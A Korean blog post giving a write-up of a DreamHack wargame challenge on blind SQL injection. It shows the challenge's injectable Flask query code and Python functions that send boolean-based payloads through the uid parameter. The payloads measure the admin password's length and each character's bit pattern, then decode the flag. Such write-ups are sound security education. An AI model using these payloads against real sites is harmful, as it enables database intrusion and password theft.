blind sql injection advanced

2024. 10. 23. 18:43·DreamHack/WEB

 

 

나는 많이 어려웠는데 왜 이리 잘하는 사람들이 많은 거야

 

 

 

 

 

 

 

 

 

import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
{% if nrows == 1%}
    <pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''

@app.route('/', methods=['GET'])
def index():
    uid = request.args.get('uid', '')
    nrows = 0

    if uid:
        cur = mysql.connection.cursor()
        nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")

    return render_template_string(template, uid=uid, nrows=nrows)


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

 

uid를 검색하는 쿼리가 실행되는 걸 볼 수 있다.

 

(f"SELECT * FROM users WHERE uid='{uid}';")

 

 

이 부분을 이용해서 참/거짓을 따져야 한다.

 

그리고

 

init.sql 문제파일을 보면...

 

CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `user_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;

 

 

uid, upw에 대한 정보가 나와있다.

 

uid는 admin , upw 은 flag 값이 담겨 있다.

 

한번 실험해 보자.

 

 

 

 

 

 

 

 

 

 

 

uid에 admin을 입력했더니

 

user "admin" exitsts. <-- "<uid>" 

이것을 참 값으로 설정하면 참/거짓의 유무를 파악할 수 있다.

 

키를 얻었으니 비밀번호 길이를 살펴보자.

 

 

 

 

 

 

def find_password_length():
    password_length = 0  # 비밀번호의 길이를 초기화
    while True:
        password_length += 1  # 비밀번호 길이를 1씩 증가시킴
        # SQL 인젝션 페이로드 생성: 비밀번호 길이가 현재 길이와 같은지 확인
        query = f"admin' and char_length(upw) = {password_length}-- -"
        # GET 요청 보내기
        r = get(f"{host}/?uid={query}")
        # 응답 텍스트에 "exists"가 포함되어 있으면 길이를 찾음
        if "exists" in r.text:
            break  # 조건을 만족하면 루프 종료
    print(f"password length: {password_length}")  # 발견된 비밀번호 길이 출력
    return password_length  # 비밀번호 길이 반환

 

삽입공격을 시도한 구문은 admin' and char_length(upw) = {password_length(반복)}-- -"이다.

 

and 연산을 이용해 admin으로 충족시켜 뒤에 있는 char_length(upw) 만족시켜 길이를 파악하는 것이다.

 

 

길이는 13 이 나와있다.

 

여기서 구문을 'char_length'가 아닌 'length'로 바꾸면 답은 다르게 나온다.

 

 

 

 

 

27이 출력되는 걸 볼 수 있다.

 

char_length와 length의 차이점은 문자가 몇 개 있는지 알려주는 것(char_length) , 문자열의 Byte 길이 (length)이다.

 

힌트대로 한글이 섞여있어 문자의 개수와 byte 가 다른 것이다.

 

그렇다면 일반적으로 문자열을 추출하면 혼란스러우니 특정 문자를 정해 순서대로 ASCII 값을 비트 표현으로 변환한 후

 

비트 길이를 출력해야 한다.

 

 

 

 

 

def find_bit_length(password_length):
    password = ""  # 비밀번호 문자열 초기화
    for i in range(1, password_length + 1):
        bit_length = 0  # 현재 문자의 비트 길이를 초기화
        while True:
            bit_length += 1  # 비트 길이를 1씩 증가시킴
            # SQL 인젝션 페이로드 생성: 현재 위치의 문자의 비트 길이가 현재 bit_length와 같은지 확인
            query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
            # GET 요청 보내기
            r = get(f"{host}/?uid={query}")
            # 응답 텍스트에 "exists"가 포함되어 있으면 비트 길이를 찾음
            if "exists" in r.text:
                break  # 조건을 만족하면 루프 종료
        print(f"character {i}'s bit length: {bit_length}")  # 발견된 문자 i의 비트 길이 출력

 

 

처음에 한 char_length 값 토대로 각 문자마다 비트로 변환시킨다.

 

substr로 문자열 자체를 보는 게 아닌 문자열 문자 하나하나 마다 지정해 준다.

ord를 통해서 문자는 ASCII 값으로 변환시킨다.

bin을 이용해서 ASCII 값을 이진수로 바꾼다.

length로 이진수 값이 된 길이를 계산한다.

 

실행해 보면..

 

 

 

각 문자마다 이진수 된 값들이 나온다.

 

복호화를 시켜주자..

 

이진수 형태로 변형된 문자들을 먼저 정수로 변환시켜주자

 

int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

 

 

1.int(bits,2) 이진수 형태로 저장된 bits 문자열을 10진수 정수로 변환

2.int.to_bytes(int(bits,2), (bit_length + 7) // 8 --> 변환된 정수를 바이트 배열로 변환시킨다.

3.decode("utf-8") --> byte 배열을 UTF-8 문자열로 디코딩 

 

이렇게 하면 password 가 복원이 된다.

 

 

 

 

 

 

 

 

 

 

 

진짜 진짜 힘들고 오래 걸렸는데 항상 풀이 쓰면 왜 이리 쉬워 보이는 건지 모르겠다

'DreamHack > WEB' 카테고리의 다른 글

php7cmp4re  (0) 2024.11.05
sql injection bypass WAF  (0) 2024.10.29
command-injection-chatgpt  (0) 2024.10.23
error based sql injection  (0) 2024.10.18
simple_sqli_chatgpt  (0) 2024.10.17
'DreamHack/WEB' 카테고리의 다른 글
  • php7cmp4re
  • sql injection bypass WAF
  • command-injection-chatgpt
  • error based sql injection
G_OM
G_OM
최대한 설명 열심히 하려고 합니다. 궁금한 거 있으면 언제든지 물어보셔도 좋습니다.
  • G_OM
    끄적끄적
    G_OM
  • 전체
    오늘
    어제
    • 분류 전체보기 (157)
      • 모의해킹 (18)
      • CTF (22)
      • Wargame (69)
        • Linux_bandit (33)
        • Webhacking.kr (36)
      • DreamHack (52)
        • WEB (14)
        • Reverising (9)
        • System (0)
      • Mobile_security (13)
        • Drozer_Android (4)
        • Frida_Android (1)
        • IOS (1)
        • tool (1)
      • 정보보안기사 (2)
      • IT? (3)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

    • Github
  • 공지사항

    • DreamHack 에 대한 문제들...
  • 인기 글

  • 태그

    sql injection
    Dreamhack
    lfi
    webhacking
    url encode
    리눅스 워게임
    bandit20
    overthewire
    bandit18
    cookies
    bandit17
    Linux wargame
    bandit30
    난독화
    webhacking.kr
    리눅스
    php wrapper
    php
    정보보안기사
    CTF
    bandit
    insecurebankv2
    Android
    모의해킹
    워게임
    drozer
    OSINT
    Linux
    wargame
    Frida
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.0
G_OM
blind sql injection advanced
상단으로

티스토리툴바